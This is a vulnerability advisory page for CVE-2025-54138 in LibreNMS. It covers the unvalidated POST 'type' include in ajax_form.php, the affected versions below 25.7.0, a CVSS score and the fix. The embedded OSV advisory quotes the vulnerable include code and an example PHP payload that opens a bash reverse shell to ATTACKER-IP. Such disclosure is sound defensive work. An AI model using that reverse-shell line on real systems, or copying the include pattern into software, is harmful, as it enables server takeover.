CVE-2025-54138: Librenms/librenms Remote Code Execution Vulnerability
HIGHCVE-2025-54138 is a HIGH (CVSS 7.5) remote code execution vulnerability (CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')) affecting Librenms/librenms libraries in the Packagist ecosystem. The issue involves librenms has authenticated remote file inclusion in ajax_form.php that allows rce. Remediation is available by upgrading affected packages to version 25.7.0.
CVE-2025-54138 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2025-54138
To remediate this vulnerability, upgrade all affected Librenms/librenms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade librenms/librenms to 25.7.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for librenms/librenms
How to Check if You Are Affected
To determine whether your application is affected by CVE-2025-54138, inspect your project dependencies for Librenms/librenms:
inspect dependencies for librenms/librenms
Analyze the terminal output to locate any version of Librenms/librenms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 25.7.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion'), where the php application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions. In Librenms/librenms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-54138 Affected Librenms/librenms Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
librenms/librenms
|
Packagist |
< 25.7.0
|
25.7.0
|
References
Frequently Asked Questions
What is CVE-2025-54138?
Which Librenms/librenms versions are affected?
What version fixes CVE-2025-54138?
Is librenms/librenms affected?
What is the CVSS score of CVE-2025-54138?
What CWE is associated with CVE-2025-54138?
How can I check Packagist dependencies for CVE-2025-54138?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-gq96-8w38-hhj2",
"modified" : "2025-07-23T13:37:00Z",
"published" : "2025-07-21T21:10:51Z",
"aliases" : [ "CVE-2025-54138" ],
"summary" : "LibreNMS has Authenticated Remote File Inclusion in ajax_form.php that Allows RCE",
"details" : "LibreNMS 25.6.0 contains an architectural vulnerability in the `ajax_form.php` endpoint that permits Remote File Inclusion based on user-controlled POST input. \n\nThe application directly uses the `type` parameter to dynamically include `.inc.php` files from the trusted path `includes/html/forms/`, without validation or allowlisting:\n\n```php\nif (file_exists('includes/html/forms/' . $_POST['type'] . '.inc.php')) {\n include_once 'includes/html/forms/' . $_POST['type'] . '.inc.php';\n}\n```\nThis pattern introduces a latent Remote Code Execution (RCE) vector if an attacker can stage a file in this include path — for example, via symlink, development misconfiguration, or chained vulnerabilities.\n\n> This is not an arbitrary file upload bug. But it does provide a powerful execution sink for attackers with write access (direct or indirect) to the include directory.\n\n# Conditions for Exploitation\n\n- Attacker must be authenticated \n- Attacker must control a file at `includes/html/forms/{type}.inc.php` (or symlink) \n\n# Example Impact (RCE)\n\nIf a PHP file or symlinked shell is staged in the include path, an attacker can achieve full remote code execution under the `librenms` user context:\n\n```php\n<?php system('/bin/bash -c \"bash -i >& /dev/tcp/ATTACKER-IP/4444 0>&1\"'); ?>\n```\nhttps://github.com/user-attachments/assets/deb9ccd2-101c-4172-89b1-b840b7ed3812\n\n\n---\n\n# Recommended Fix\n\n- Implement strict allow listing or hardcoded routing instead of dynamically including user-supplied filenames. \n- Avoid passing raw POST input into `include_once`.\n- Ensure the inclusion path is immutable and outside attacker control (e.g., avoid variable expansion into trusted paths).",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "librenms/librenms"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "25.7.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/librenms/librenms/security/advisories/GHSA-gq96-8w38-hhj2"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54138"
}, {
"type" : "WEB",
"url" : "https://github.com/librenms/librenms/pull/17990"
}, {
"type" : "WEB",
"url" : "https://github.com/librenms/librenms/commit/ec89714d929ef0cf2321957ed9198b0f18396c81"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/librenms/librenms"
}, {
"type" : "WEB",
"url" : "https://github.com/librenms/librenms/releases/tag/25.7.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-98" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-07-21T21:10:51Z",
"nvd_published_at" : "2025-07-22T22:15:38Z"
}
}